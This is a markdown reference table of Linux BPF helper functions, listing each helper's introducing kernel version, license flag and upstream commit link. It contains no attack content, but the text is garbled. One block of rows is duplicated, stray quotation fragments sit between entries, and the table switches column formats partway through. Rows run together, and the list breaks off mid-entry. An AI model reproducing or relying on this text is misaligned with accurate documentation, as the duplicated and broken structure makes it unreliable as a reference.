-`BPF_FUNC_bprm_opts_set()` | 5.11 | | [`3f6719c7b62f`](https://github.com/torvalds/linux/commit/3f6719c7b62f0327c9091e26d0da10e65668229e) -`BPF_FUNC_btf_find_by_name_kind()` | 5.14 | | [`3d78417b60fb`](https://github.com/torvalds/linux/commit/3d78417b60fba249cc555468cb72d96f5cde2964) -`BPF_FUNC_cgrp_storage_delete()` | 6.2 | | [`c4bcfb38a95e`](https://github.com/torvalds/linux/commit/c4bcfb38a95edb1021a53f2d0356a78120ecfbe4) -`BPF_FUNC_cgrp_storage_get()` | 6.2 | | [`c4bcfb38a95e`](https://github.com/torvalds/linux/commit/c4bcfb38a95edb1021a53f2d0356a78120ecfbe4) -`BPF_FUNC_check_mtu()` | 5.12 | | [`34b2021cc616`](https://github.com/torvalds/linux/commit/34b2021cc61642d61c3cf943d9e71925b827941b) -`BPF_FUNC_clone_redirect()` | 4.2 | | [`3896d655f4d4`](https://github.com/torvalds/linux/commit/3896d655f4d491c67d669a15f275a39f713410f8) -`BPF_FUNC_copy_from_user()` | 5.10 | | [`07be4c4a3e7a`](https://github.com/torvalds/linux/commit/07be4c4a3e7a0db148e44b16c5190e753d1c8569) -`BPF_FUNC_copy_from_user_task()` | 5.18 | GPL | [`376040e47334`](https://github.com/torvalds/linux/commit/376040e47334c6dc6a939a32197acceb00fe4acf) -`BPF_FUNC_csum_diff()` | 4.6 | | [`7d672345ed29`](https://github.com/torvalds/linux/commit/7d672345ed295b1356a5d9f7111da1d1d7d65867) -`BPF_FUNC_csum_level()` | 5.7 | | [`7cdec54f9713`](https://github.com/torvalds/linux/commit/7cdec54f9713256bb170873a1fc5c75c9127c9d2) -`BPF_FUNC_csum_update()` | 4.9 | | [`36bbef52c7eb`](https://github.com/torvalds/linux/commit/36bbef52c7eb646ed6247055a2acd3851e317857)". - -Helper | Kernel version | License | Commit | --------|----------------|---------|--------| -`BPF_FUNC_bind()` | 4.17 | | [`d74bad4e74ee`](https://github.com/torvalds/linux/commit/d74bad4e74ee373787a9ae24197c17b7cdc428d5) | -`BPF_FUNC_bprm_opts_set()` | 5.11 | | [`3f6719c7b62f`](https://github.com/torvalds/linux/commit/3f6719c7b62f0327c9091e26d0da10e65668229e) -`BPF_FUNC_btf_find_by_name_kind()` | 5.14 | | [`3d78417b60fb`](https://github.com/torvalds/linux/commit/3d78417b60fba249cc555468cb72d96f5cde2964) -`BPF_FUNC_cgrp_storage_delete()` | 6.2 | | [`c4bcfb38a95e`](https://github.com/torvalds/linux/commit/c4bcfb38a95edb1021a53f2d0356a78120ecfbe4) -`BPF_FUNC_cgrp_storage_get()` | 6.2 | | [`c4bcfb38a95e`](https://github.com/torvalds/linux/commit/c4bcfb38a95edb1021a53f2d0356a78120ecfbe4) -`BPF_FUNC_check_mtu()` | 5.12 | | [`34b2021cc616`](https://github.com/torvalds/linux/commit/34b2021cc61642d61c3cf943d9e71925b827941b) -`BPF_FUNC_clone_redirect()` | 4.2 | | [`3896d655f4d4`](https://github.com/torvalds/linux/commit/3896d655f4d491c67d669a15f275a39f713410f8) -`BPF_FUNC_copy_from_user()` | 5.10 | | [`07be4c4a3e7a`](https://github.com/torvalds/linux/commit/07be4c4a3e7a0db148e44b16c5190e753d1c8569) -`BPF_FUNC_copy_from_user_task()` | 5.18 | GPL | [`376040e47334`](https://github.com/torvalds/linux/commit/376040e47334c6dc6a939a32197acceb00fe4acf) -`BPF_FUNC_csum_diff()` | 4.6 | | [`7d672345ed29`](https://github.com/torvalds/linux/commit/7d672345ed295b1356a5d9f7111da1d1d7d65867) -`BPF_FUNC_csum_level()` | 5.7 | | [`7cdec54f9713`](https://github.com/torvalds/linux/commit/7cdec54f9713256bb170873a1fc5c75c9127c9d2) -`BPF_FUNC_csum_update()` | 4.9 | | [`36bbef52c7eb`](https://github.com/torvalds/linux/commit/36bbef52c7eb646ed6247055a2acd3851e317857)".`BPF_FUNC_current_task_under_cgroup()` | 4.9 | | [`60d20f9195b2`](https://github.com/torvalds/linux/commit/60d20f9195b260bdf0ac10c275ae9f6016f9c069) -`BPF_FUNC_d_path()` | 5.10 | | [`6e22ab9da793`](https://github.com/torvalds/linux/commit/6e22ab9da79343532cd3cde39df25e5a5478c692) -`BPF_FUNC_dynptr_data()` | 5.19 | | [`34d4ef5775f7`](https://github.com/torvalds/linux/commit/34d4ef5775f776ec4b0d53a02d588bf3195cada6) -`BPF_FUNC_dynptr_from_mem()` | 5.19 | | [`263ae152e962`](https://github.com/torvalds/linux/commit/263ae152e96253f40c2c276faad8629e096b3bad) -`BPF_FUNC_dynptr_read()` | 5.19 | | [`13bbbfbea759`](https://github.com/torvalds/linux/commit/13bbbfbea7598ea9f8d9c3d73bf053bb57f9c4b2) -`BPF_FUNC_dynptr_write()` | 5.19 | | [`13bbbfbea759`](https://github.com/torvalds/linux/commit/13bbbfbea7598ea9f8d9c3d73bf053bb57f9c4b2) -`BPF_FUNC_fib_lookup()` | 4.18 | GPL | [`87f5fc7e48dd`](https://github.com/torvalds/linux/commit/87f5fc7e48dd3175b30dd03b41564e1a8e136323) -`BPF_FUNC_find_vma()` | 5.17 | | [`7c7e3d31e785`](https://github.com/torvalds/linux/commit/7c7e3d31e7856a8260a254f8c71db416f7f9f5a1) -`BPF_FUNC_for_each_map_elem()` | 5.13 | | [`69c087ba6225`](https://github.com/torvalds/linux/commit/69c087ba6225b574afb6e505b72cb75242a3d844) -`BPF_FUNC_get_attach_cookie()` | 5.15 | | [`7adfc6c9b315`](https://github.com/torvalds/linux/commit/7adfc6c9b315e174cf8743b21b7b691c8766791b) -`BPF_FUNC_get_branch_snapshot()` | 5.16 | GPL | [`856c02dbce4f`](https://github.com/torvalds/linux/commit/856c02dbce4f8d6a5644083db22c11750aa11481) -`BPF_FUNC_get_current_ancestor_cgroup_id()` | 5.6 | | [`b4490c5c4e02`](https://github.com/torvalds/linux/commit/b4490c5c4e023f09b7d27c9a9d3e7ad7d09ea6bf) -`BPF_FUNC_get_cgroup_classid()` | 4.3 | | [`8d20aabe1c76`](https://github.com/torvalds/linux/commit/8d20aabe1c76cccac544d9fcc3ad7823d9e98a2d) -`BPF_FUNC_get_current_cgroup_id()` | 4.18 | | [`bf6fa2c893c5`](https://github.com/torvalds/linux/commit/bf6fa2c893c5237b48569a13fa3c673041430b6c)"`BPF_FUNC_get_current_comm()` | 4.2 | | [`ffeedafbf023`](https://github.com/torvalds/linux/commit/ffeedafbf0236f03aeb2e8db273b3e5ae5f5bc89) -`BPF_FUNC_get_current_pid_tgid()` | 4.2 | | [`ffeedafbf023`](https://github.com/torvalds/linux/commit/ffeedafbf0236f03aeb2e8db273b3e5ae5f5bc89) -`BPF_FUNC_get_current_task()` | 4.8 | GPL | [`606274c5abd8`](https://github.com/torvalds/linux/commit/606274c5abd8e245add01bc7145a8cbb92b69ba8) -`BPF_FUNC_get_current_task_btf()` | 5.11 | GPL | [`3ca1032ab7ab`](https://github.com/torvalds/linux/commit/3ca1032ab7ab010eccb107aa515598788f7d93bb) -`BPF_FUNC_get_current_uid_gid()` | 4.2 | | [`ffeedafbf023`](https://github.com/torvalds/linux/commit/ffeedafbf0236f03aeb2e8db273b3e5ae5f5bc89) -`BPF_FUNC_get_func_arg()` | 5.17 | | [`f92c1e183604`](https://github.com/torvalds/linux/commit/f92c1e183604c20ce00eb889315fdaa8f2d9e509) -`BPF_FUNC_get_func_arg_cnt()` | 5.17 | | [`f92c1e183604`](https://github.com/torvalds/linux/commit/f92c1e183604c20ce00eb889315fdaa8f2d9e509) -`BPF_FUNC_get_func_ip()` | 5.15 | | [`5d8b583d04ae`](https://github.com/torvalds/linux/commit/5d8b583d04aedb3bd5f6d227a334c210c7d735f9) -`BPF_FUNC_get_func_ret()` | 5.17 | | [`f92c1e183604`](https://github.com/torvalds/linux/commit/f92c1e183604c20ce00eb889315fdaa8f2d9e509) -`BPF_FUNC_get_retval()` | 5.18 | | [`b44123b4a3dc`](https://github.com/torvalds/linux/commit/b44123b4a3dcad4664d3a0f72c011ffd4c9c4d93) -`BPF_FUNC_get_hash_recalc()` | 4.8 | | [`13c5c240f789`](https://github.com/torvalds/linux/commit/13c5c240f789bbd2bcacb14a23771491485ae61f) -`BPF_FUNC_get_listener_sock()` | 5.1 | | [`dbafd7ddd623`](https://github.com/torvalds/linux/commit/dbafd7ddd62369b2f3926ab847cbf8fc40e800b7) -`BPF_FUNC_get_local_storage()` | 4.19 | | [`cd3394317653`](https://github.com/torvalds/linux/commit/cd3394317653837e2eb5c5d0904a8996102af9fc) -`BPF_FUNC_get_netns_cookie()` | 5.7 | | [`f318903c0bf4`](https://github.com/torvalds/linux/commit/f318903c0bf42448b4c884732df2bbb0ef7a2284)". -`BPF_FUNC_get_ns_current_pid_tgid()` | 5.7 | | [`b4490c5c4e02`](https://github.com/torvalds/linux/commit/b4490c5c4e023f09b7d27c9a9d3e7ad7d09ea6bf) -`BPF_FUNC_get_numa_node_id()` | 4.10 | | [`2d0e30c30f84`](https://github.com/torvalds/linux/commit/2d0e30c30f84d08dc16f0f2af41f1b8a85f0755e) -`BPF_FUNC_get_prandom_u32()` | 4.1 | | [`03e69b508b6f`](https://github.com/torvalds/linux/commit/03e69b508b6f7c51743055c9f61d1dfeadf4b635) -`BPF_FUNC_get_route_realm()` | 4.4 | | [`c46646d0484f`](https://github.com/torvalds/linux/commit/c46646d0484f5d08e2bede9b45034ba5b8b489cc) -`BPF_FUNC_get_smp_processor_id()` | 4.1 | | [`c04167ce2ca0`](https://github.com/torvalds/linux/commit/c04167ce2ca0ecaeaafef006cb0d65cf01b68e42) -`BPF_FUNC_get_socket_cookie()` | 4.12 | | [`91b8270f2a4d`](https://github.com/torvalds/linux/commit/91b8270f2a4d1d9b268de90451cdca63a70052d6) -`BPF_FUNC_get_socket_uid()` | 4.12 | | [`6acc5c291068`](https://github.com/torvalds/linux/commit/6acc5c2910689fc6ee181bf63085c5efff6a42bd) -`BPF_FUNC_get_stack()` | 4.18 | GPL | [`de2ff05f48af`](https://github.com/torvalds/linux/commit/de2ff05f48afcde816ff4edb217417f62f624ab5) -`BPF_FUNC_get_stackid()` | 4.6 | GPL | [`d5a3b1f69186`](https://github.com/torvalds/linux/commit/d5a3b1f691865be576c2bffa708549b8cdccda19) -`BPF_FUNC_get_task_stack()` | 5.9 | | [`fa28dcb82a38`](https://github.com/torvalds/linux/commit/fa28dcb82a38f8e3993b0fae9106b1a80b59e4f0) -`BPF_FUNC_getsockopt()` | 4.15 | | [`cd86d1fd2102`](https://github.com/torvalds/linux/commit/cd86d1fd21025fdd6daf23d1288da405e7ad0ec6) -`BPF_FUNC_ima_file_hash()` | 5.18 | | [`174b16946e39`](https://github.com/torvalds/linux/commit/174b16946e39ebd369097e0f773536c91a8c1a4c) -`BPF_FUNC_ima_inode_hash()` | 5.11 | | [`27672f0d280a`](https://github.com/torvalds/linux/commit/27672f0d280a3f286a410a8db2004f46ace72a17) -`BPF_FUNC_inode_storage_delete()` | 5.10 | | [`8ea636848aca`](https://github.com/torvalds/linux/commit/8ea636848aca35b9f97c5b5dee30225cf2dd0fe6)``BPF_FUNC_inode_storage_get()` | 5.10 | | [`8ea636848aca`](https://github.com/torvalds/linux/commit/8ea636848aca35b9f97c5b5dee30225cf2dd0fe6) -`BPF_FUNC_jiffies64()` | 5.5 | | [`5576b991e9c1`](https://github.com/torvalds/linux/commit/5576b991e9c1a11d2cc21c4b94fc75ec27603896) -`BPF_FUNC_kallsyms_lookup_name()` | 5.16 | | [`d6aef08a872b`](https://github.com/torvalds/linux/commit/d6aef08a872b9e23eecc92d0e92393473b13c497) -`BPF_FUNC_kptr_xchg()` | 5.19 | | [`c0a5a21c25f3`](https://github.com/torvalds/linux/commit/c0a5a21c25f37c9fd7b36072f9968cdff1e4aa13) -`BPF_FUNC_ktime_get_boot_ns()` | 5.8 | | [`71d19214776e`](https://github.com/torvalds/linux/commit/71d19214776e61b33da48f7c1b46e522c7f78221) -`BPF_FUNC_ktime_get_coarse_ns()` | 5.11 | | [`d05512618056`](https://github.com/torvalds/linux/commit/d055126180564a57fe533728a4e93d0cb53d49b3) -`BPF_FUNC_ktime_get_ns()` | 4.1 | | [`d9847d310ab4`](https://github.com/torvalds/linux/commit/d9847d310ab4003725e6ed1822682e24bd406908) -`BPF_FUNC_ktime_get_tai_ns()` | 6.1 | | [`c8996c98f703`](https://github.com/torvalds/linux/commit/c8996c98f703b09afe77a1d247dae691c9849dc1) -`BPF_FUNC_l3_csum_replace()` | 4.1 | | [`91bc4822c3d6`](https://github.com/torvalds/linux/commit/91bc4822c3d61b9bb7ef66d3b77948a4f9177954) -`BPF_FUNC_l4_csum_replace()` | 4.1 | | [`91bc4822c3d6`](https://github.com/torvalds/linux/commit/91bc4822c3d61b9bb7ef66d3b77948a4f9177954) -`BPF_FUNC_load_hdr_opt()` | 5.10 | | [`0813a841566f`](https://github.com/torvalds/linux/commit/0813a841566f0962a5551be7749b43c45f0022a0) -`BPF_FUNC_loop()` | 5.17 | | [`e6f2dd0f8067`](https://github.com/torvalds/linux/commit/e6f2dd0f80674e9d5960337b3e9c2a242441b326) -`BPF_FUNC_lwt_push_encap()` | 4.18 | | [`fe94cc290f53`](https://github.com/torvalds/linux/commit/fe94cc290f535709d3c5ebd1e472dfd0aec7ee79) -`BPF_FUNC_lwt_seg6_action()` | 4.18 | | [`fe94cc290f53`](https://github.com/torvalds/linux/commit/fe94cc290f535709d3c5ebd1e472dfd0aec7ee79)`BPF_FUNC_lwt_seg6_adjust_srh()` | 4.18 | | [`fe94cc290f53`](https://github.com/torvalds/linux/commit/fe94cc290f535709d3c5ebd1e472dfd0aec7ee79) -`BPF_FUNC_lwt_seg6_store_bytes()` | 4.18 | | [`fe94cc290f53`](https://github.com/torvalds/linux/commit/fe94cc290f535709d3c5ebd1e472dfd0aec7ee79) -`BPF_FUNC_map_delete_elem()` | 3.19 | | [`d0003ec01c66`](https://github.com/torvalds/linux/commit/d0003ec01c667b731c139e23de3306a8b328ccf5) -`BPF_FUNC_map_lookup_elem()` | 3.19 | | [`d0003ec01c66`](https://github.com/torvalds/linux/commit/d0003ec01c667b731c139e23de3306a8b328ccf5) -`BPF_FUNC_map_lookup_percpu_elem()` | 5.19 | | [`07343110b293`](https://github.com/torvalds/linux/commit/07343110b293456d30393e89b86c4dee1ac051c8) -`BPF_FUNC_map_peek_elem()` | 4.20 | | [`f1a2e44a3aec`](https://github.com/torvalds/linux/commit/f1a2e44a3aeccb3ff18d3ccc0b0203e70b95bd92) -`BPF_FUNC_map_pop_elem()` | 4.20 | | [`f1a2e44a3aec`](https://github.com/torvalds/linux/commit/f1a2e44a3aeccb3ff18d3ccc0b0203e70b95bd92) -`BPF_FUNC_map_push_elem()` | 4.20 | | [`f1a2e44a3aec`](https://github.com/torvalds/linux/commit/f1a2e44a3aeccb3ff18d3ccc0b0203e70b95bd92) -`BPF_FUNC_map_update_elem()` | 3.19 | | [`d0003ec01c66`](https://github.com/torvalds/linux/commit/d0003ec01c667b731c139e23de3306a8b328ccf5) -`BPF_FUNC_msg_apply_bytes()` | 4.17 | | [`2a100317c9eb`](https://github.com/torvalds/linux/commit/2a100317c9ebc204a166f16294884fbf9da074ce) -`BPF_FUNC_msg_cork_bytes()` | 4.17 | | [`91843d540a13`](https://github.com/torvalds/linux/commit/91843d540a139eb8070bcff8aa10089164436deb) -`BPF_FUNC_msg_pop_data()` | 5.0 | | [`7246d8ed4dcc`](https://github.com/torvalds/linux/commit/7246d8ed4dcce23f7509949a77be15fa9f0e3d28) -`BPF_FUNC_msg_pull_data()` | 4.17 | | [`015632bb30da`](https://github.com/torvalds/linux/commit/015632bb30daaaee64e1bcac07570860e0bf3092) -`BPF_FUNC_msg_push_data()` | 4.20 | | [`6fff607e2f14`](https://github.com/torvalds/linux/commit/6fff607e2f14bd7c63c06c464a6f93b8efbabe28)".`BPF_FUNC_msg_redirect_hash()` | 4.18 | | [`81110384441a`](https://github.com/torvalds/linux/commit/81110384441a59cff47430f20f049e69b98c17f4) -`BPF_FUNC_msg_redirect_map()` | 4.17 | | [`4f738adba30a`](https://github.com/torvalds/linux/commit/4f738adba30a7cfc006f605707e7aee847ffefa0) -`BPF_FUNC_per_cpu_ptr()` | 5.10 | | [`eaa6bcb71ef6`](https://github.com/torvalds/linux/commit/eaa6bcb71ef6ed3dc18fc525ee7e293b06b4882b) | -`BPF_FUNC_perf_event_output()` | 4.4 | GPL | [`a43eec304259`](https://github.com/torvalds/linux/commit/a43eec304259a6c637f4014a6d4767159b6a3aa3) -`BPF_FUNC_perf_event_read()` | 4.3 | GPL | [`35578d798400`](https://github.com/torvalds/linux/commit/35578d7984003097af2b1e34502bc943d40c1804) -`BPF_FUNC_perf_event_read_value()` | 4.15 | GPL | [`908432ca84fc`](https://github.com/torvalds/linux/commit/908432ca84fc229e906ba164219e9ad0fe56f755) -`BPF_FUNC_perf_prog_read_value()` | 4.15 | GPL | [`4bebdc7a85aa`](https://github.com/torvalds/linux/commit/4bebdc7a85aa400c0222b5329861e4ad9252f1e5) -`BPF_FUNC_probe_read()` | 4.1 | GPL | [`2541517c32be`](https://github.com/torvalds/linux/commit/2541517c32be2531e0da59dfd7efc1ce844644f5) -`BPF_FUNC_probe_read_kernel()` | 5.5 | GPL | [`6ae08ae3dea2`](https://github.com/torvalds/linux/commit/6ae08ae3dea2cfa03dd3665a3c8475c2d429ef47) -`BPF_FUNC_probe_read_kernel_str()` | 5.5 | GPL | [`6ae08ae3dea2`](https://github.com/torvalds/linux/commit/6ae08ae3dea2cfa03dd3665a3c8475c2d429ef47) -`BPF_FUNC_probe_read_user()` | 5.5 | GPL | [`6ae08ae3dea2`](https://github.com/torvalds/linux/commit/6ae08ae3dea2cfa03dd3665a3c8475c2d429ef47) -`BPF_FUNC_probe_read_user_str()` | 5.5 | GPL | [`6ae08ae3dea2`](https://github.com/torvalds/linux/commit/6ae08ae3dea2cfa03dd3665a3c8475c2d429ef47) -`BPF_FUNC_probe_read_str()` | 4.11 | GPL | [`a5e8c07059d0`](https://github.com/torvalds/linux/commit/a5e8c07059d0f0b31737408711d44794928ac218) -`BPF_FUNC_probe_write_user()` | 4.8 | GPL | [`96ae52279594`](https://github.com/torvalds/linux/commit/96ae52279594470622ff0585621a13e96b700600)| Function | Version | License | Commit Link | -| ------------- | ------- | ------- | ------------------------------------------------------------- | -| BPF_FUNC_rc_keydown() | 4.18 | GPL | [f4364dcfc86d](https://github.com/torvalds/linux/commit/f4364dcfc86df7c1ca47b256eaf6b6d0cdd0d936) | -| BPF_FUNC_rc_pointer_rel() | 5.0 | GPL | [01d3240a04f4](https://github.com/torvalds/linux/commit/01d3240a04f4c09392e13c77b54d4423ebce2d72) | -| BPF_FUNC_rc_repeat() | 4.18 | GPL | [f4364dcfc86d](https://github.com/torvalds/linux/commit/f4364dcfc86df7c1ca47b256eaf6b6d0cdd0d936) | -| BPF_FUNC_read_branch_records() | 5.6 | GPL | [fff7b64355ea](https://github.com/torvalds/linux/commit/fff7b64355eac6e29b50229ad1512315bc04b44e) | -| BPF_FUNC_redirect() | 4.4 | | [27b29f63058d](https://github.com/torvalds/linux/commit/27b29f63058d26c6c1742f1993338280d5a41dc6) | -| BPF_FUNC_redirect_map() | 4.14 | | [97f91a7cf04f](https://github.com/torvalds/linux/commit/97f91a7cf04ff605845c20948b8a80e54cbd3376) | -| BPF_FUNC_redirect_neigh() | 5.10 | | [b4ab31414970](https://github.com/torvalds/linux/commit/b4ab31414970a7a03a5d55d75083f2c101a30592) | -| BPF_FUNC_redirect_peer() | 5.10 | | [9aa1206e8f48](https://github.com/torvalds/linux/commit/9aa1206e8f48222f35a0c809f33b2f4aaa1e2661) | -| BPF_FUNC_reserve_hdr_opt() | 5.10 | | [0813a841566f](https://github.com/torvalds/linux/commit/0813a841566f0962a5551be7749b43c45f0022a0) | -| BPF_FUNC_ringbuf_discard() | 5.8 | | [457f44363a88](https://github.com/torvalds/linux/commit/457f44363a8894135c85b7a9afd2bd8196db24ab) | -| BPF_FUNC_ringbuf_discard_dynptr() | 5.19 | | [bc34dee65a65](https://github.com/torvalds/linux/commit/bc34dee65a65e9c920c420005b8a43f2a721a458) | -| BPF_FUNC_ringbuf_output() | 5.8 | | [457f44363a88](https://github.com/torvalds/linux/commit/457f44363a8894135c85b7a9afd2bd8196db24ab) | -| BPF_FUNC_ringbuf_query() | 5.8 | | [457f44363a88](https://github.com/torvalds/linux/commit/457f44363a8894135c85b7a9afd2bd8196db24ab) | -| BPF_FUNC_ringbuf_reserve() | 5.8 | | [457f44363a88](https://github.com/torvalds/linux/commit/457f44363a8894135c85b7a9afd2bd8196db24ab) |"`BPF_FUNC_ringbuf_reserve_dynptr()` | 5.19 | | [`bc34dee65a65`](https://github.com/torvalds/linux/commit/bc34dee65a65e9c920c420005b8a43f2a721a458) -`BPF_FUNC_ringbuf_submit()` | 5.8 | | [`457f44363a88`](https://github.com/torvalds/linux/commit/457f44363a8894135c85b7a9afd2bd8196db24ab) -`BPF_FUNC_ringbuf_submit_dynptr()` | 5.19 | | [`bc34dee65a65`](https://github.com/torvalds/linux/commit/bc34dee65a65e9c920c420005b8a43f2a721a458) -`BPF_FUNC_send_signal()` | 5.3 | | [`8b401f9ed244`](https://github.com/torvalds/linux/commit/8b401f9ed2441ad9e219953927a842d24ed051fc) -`BPF_FUNC_send_signal_thread()` | 5.5 | | [`8482941f0906`](https://github.com/torvalds/linux/commit/8482941f09067da42f9c3362e15bfb3f3c19d610) -`BPF_FUNC_seq_printf()` | 5.7 | GPL | [`492e639f0c22`](https://github.com/torvalds/linux/commit/492e639f0c222784e2e0f121966375f641c61b15) -`BPF_FUNC_seq_printf_btf()` | 5.10 | | [`eb411377aed9`](https://github.com/torvalds/linux/commit/eb411377aed9e27835e77ee0710ee8f4649958f3) -`BPF_FUNC_seq_write()` | 5.7 | GPL | [`492e639f0c22`](https://github.com/torvalds/linux/commit/492e639f0c222784e2e0f121966375f641c61b15) -`BPF_FUNC_set_hash()` | 4.13 | | [`ded092cd73c2`](https://github.com/torvalds/linux/commit/ded092cd73c2c56a394b936f86897f29b2e131c0) -`BPF_FUNC_set_hash_invalid()` | 4.9 | | [`7a4b28c6cc9f`](https://github.com/torvalds/linux/commit/7a4b28c6cc9ffac50f791b99cc7e46106436e5d8) -`BPF_FUNC_set_retval()` | 5.18 | | [`b44123b4a3dc`](https://github.com/torvalds/linux/commit/b44123b4a3dcad4664d3a0f72c011ffd4c9c4d93) -`BPF_FUNC_setsockopt()` | 4.13 | | [`8c4b4c7e9ff0`](https://github.com/torvalds/linux/commit/8c4b4c7e9ff0447995750d9329949fa082520269) -`BPF_FUNC_sk_ancestor_cgroup_id()` | 5.7 | | [`f307fa2cb4c9`](https://github.com/torvalds/linux/commit/f307fa2cb4c935f7f1ff0aeb880c7b44fb9a642b) -`BPF_FUNC_sk_assign()` | 5.6 | | [`cf7fbe660f2d`](https://github.com/torvalds/linux/commit/cf7fbe660f2dbd738ab58aea8e9b0ca6ad232449)". -`BPF_FUNC_sk_cgroup_id()` | 5.7 | | [`f307fa2cb4c9`](https://github.com/torvalds/linux/commit/f307fa2cb4c935f7f1ff0aeb880c7b44fb9a642b) -`BPF_FUNC_sk_fullsock()` | 5.1 | | [`46f8bc92758c`](https://github.com/torvalds/linux/commit/46f8bc92758c6259bcf945e9216098661c1587cd) -`BPF_FUNC_sk_lookup_tcp()` | 4.20 | | [`6acc9b432e67`](https://github.com/torvalds/linux/commit/6acc9b432e6714d72d7d77ec7c27f6f8358d0c71) -`BPF_FUNC_sk_lookup_udp()` | 4.20 | | [`6acc9b432e67`](https://github.com/torvalds/linux/commit/6acc9b432e6714d72d7d77ec7c27f6f8358d0c71) -`BPF_FUNC_sk_redirect_hash()` | 4.18 | | [`81110384441a`](https://github.com/torvalds/linux/commit/81110384441a59cff47430f20f049e69b98c17f4) -`BPF_FUNC_sk_redirect_map()` | 4.14 | | [`174a79ff9515`](https://github.com/torvalds/linux/commit/174a79ff9515f400b9a6115643dafd62a635b7e6) -`BPF_FUNC_sk_release()` | 4.20 | | [`6acc9b432e67`](https://github.com/torvalds/linux/commit/6acc9b432e6714d72d7d77ec7c27f6f8358d0c71) -`BPF_FUNC_sk_select_reuseport()` | 4.19 | | [`2dbb9b9e6df6`](https://github.com/torvalds/linux/commit/2dbb9b9e6df67d444fbe425c7f6014858d337adf) -`BPF_FUNC_sk_storage_delete()` | 5.2 | | [`6ac99e8f23d4`](https://github.com/torvalds/linux/commit/6ac99e8f23d4b10258406ca0dd7bffca5f31da9d) -`BPF_FUNC_sk_storage_get()` | 5.2 | | [`6ac99e8f23d4`](https://github.com/torvalds/linux/commit/6ac99e8f23d4b10258406ca0dd7bffca5f31da9d) -`BPF_FUNC_skb_adjust_room()` | 4.13 | | [`2be7e212d541`](https://github.com/torvalds/linux/commit/2be7e212d5419a400d051c84ca9fdd083e5aacac) -`BPF_FUNC_skb_ancestor_cgroup_id()` | 4.19 | | [`7723628101aa`](https://github.com/torvalds/linux/commit/7723628101aaeb1d723786747529b4ea65c5b5c5) -`BPF_FUNC_skb_change_head()` | 4.10 | | [`3a0af8fd61f9`](https://github.com/torvalds/linux/commit/3a0af8fd61f90920f6fa04e4f1e9a6a73c1b4fd2) -`BPF_FUNC_skb_change_proto()` | 4.8 | | [`6578171a7ff0`](https://github.com/torvalds/linux/commit/6578171a7ff0c31dc73258f93da7407510abf085) -`BPF_FUNC_skb_change_tail()` | 4.9 | | [`5293efe62df8`](https://github.com/torvalds/linux/commit/5293efe62df81908f2e90c9820c7edcc8e61f5e9) -`BPF_FUNC_skb_change_type()` | 4.8 | | [`d2485c4242a8`](https://github.com/torvalds/linux/commit/d2485c4242a826fdf493fd3a27b8b792965b9b9e) -`BPF_FUNC_skb_cgroup_classid()` | 5.10 | | [`b426ce83baa7`](https://github.com/torvalds/linux/commit/b426ce83baa7dff947fb354118d3133f2953aac8) -`BPF_FUNC_skb_cgroup_id()` | 4.18 | | [`cb20b08ead40`](https://github.com/torvalds/linux/commit/cb20b08ead401fd17627a36f035c0bf5bfee5567) -`BPF_FUNC_skb_ecn_set_ce()` | 5.1 | | [`f7c917ba11a6`](https://github.com/torvalds/linux/commit/f7c917ba11a67632a8452ea99fe132f626a7a2cc) -`BPF_FUNC_skb_get_tunnel_key()` | 4.3 | | [`d3aa45ce6b94`](https://github.com/torvalds/linux/commit/d3aa45ce6b94c65b83971257317867db13e5f492) -`BPF_FUNC_skb_get_tunnel_opt()` | 4.6 | | [`14ca0751c96f`](https://github.com/torvalds/linux/commit/14ca0751c96f8d3d0f52e8ed3b3236f8b34d3460) -`BPF_FUNC_skb_get_xfrm_state()` | 4.18 | | [`12bed760a78d`](https://github.com/torvalds/linux/commit/12bed760a78da6e12ac8252fec64d019a9eac523) -`BPF_FUNC_skb_load_bytes()` | 4.5 | | [`05c74e5e53f6`](https://github.com/torvalds/linux/commit/05c74e5e53f6cb07502c3e6a820f33e2777b6605) -`BPF_FUNC_skb_load_bytes_relative()` | 4.18 | | [`4e1ec56cdc59`](https://github.com/torvalds/linux/commit/4e1ec56cdc59746943b2acfab3c171b930187bbe) -`BPF_FUNC_skb_output()` | 5.5 | | [`a7658e1a4164`](https://github.com/torvalds/linux/commit/a7658e1a4164ce2b9eb4a11aadbba38586e93bd6) -`BPF_FUNC_skb_pull_data()` | 4.9 | | [`36bbef52c7eb`](https://github.com/torvalds/linux/commit/36bbef52c7eb646ed6247055a2acd3851e317857) -`BPF_FUNC_skb_set_tstamp()` | 5.18 | | [`9bb984f28d5b`](https://github.com/torvalds/linux/commit/9bb984f28d5bcb917d35d930fcfb89f90f9449fd) -`BPF_FUNC_skb_set_tunnel_key()` | 4.3 | | [`d3aa45ce6b94`](https://github.com/torvalds/linux/commit/d3aa45ce6b94c65b83971257317867db13e5f492) -`BPF_FUNC_skb_set_tunnel_opt()` | 4.6 | | [`14ca0751c96f`](https://github.com/torvalds/linux/commit/14ca0751c96f8d3d0f52e8ed3b3236f8b34d3460) -`BPF_FUNC_skb_store_bytes()` | 4.1 | | [`91bc4822c3d6`](https://github.com/torvalds/linux/commit/91bc4822c3d61b9bb7ef66d3b77948a4f9177954) -`BPF_FUNC_skb_under_cgroup()` | 4.8 | | [`4a482f34afcc`](https://github.com/torvalds/linux/commit/4a482f34afcc162d8456f449b137ec2a95be60d8) -`BPF_FUNC_skb_vlan_pop()` | 4.3 | | [`4e10df9a60d9`](https://github.com/torvalds/linux/commit/4e10df9a60d96ced321dd2af71da558c6b750078) -`BPF_FUNC_skb_vlan_push()` | 4.3 | | [`4e10df9a60d9`](https://github.com/torvalds/linux/commit/4e10df9a60d96ced321dd2af71da558c6b750078) -`BPF_FUNC_skc_lookup_tcp()` | 5.2 | | [`edbf8c01de5a`](https://github.com/torvalds/linux/commit/edbf8c01de5a104a71ed6df2bf6421ceb2836a8e) -`BPF_FUNC_skc_to_mctcp_sock()` | 5.19 | | [`3bc253c2e652`](https://github.com/torvalds/linux/commit/3bc253c2e652cf5f12cd8c00d80d8ec55d67d1a7) -`BPF_FUNC_skc_to_tcp_sock()` | 5.9 | | [`478cfbdf5f13`](https://github.com/torvalds/linux/commit/478cfbdf5f13dfe09cfd0b1cbac821f5e27f6108) -`BPF_FUNC_skc_to_tcp_request_sock()` | 5.9 | | [`478cfbdf5f13`](https://github.com/torvalds/linux/commit/478cfbdf5f13dfe09cfd0b1cbac821f5e27f6108) -`BPF_FUNC_skc_to_tcp_timewait_sock()` | 5.9 | | [`478cfbdf5f13`](https://github.com/torvalds/linux/commit/478cfbdf5f13dfe09cfd0b1cbac821f5e27f6108) -`BPF_FUNC_skc_to_tcp6_sock()` | 5.9 | | 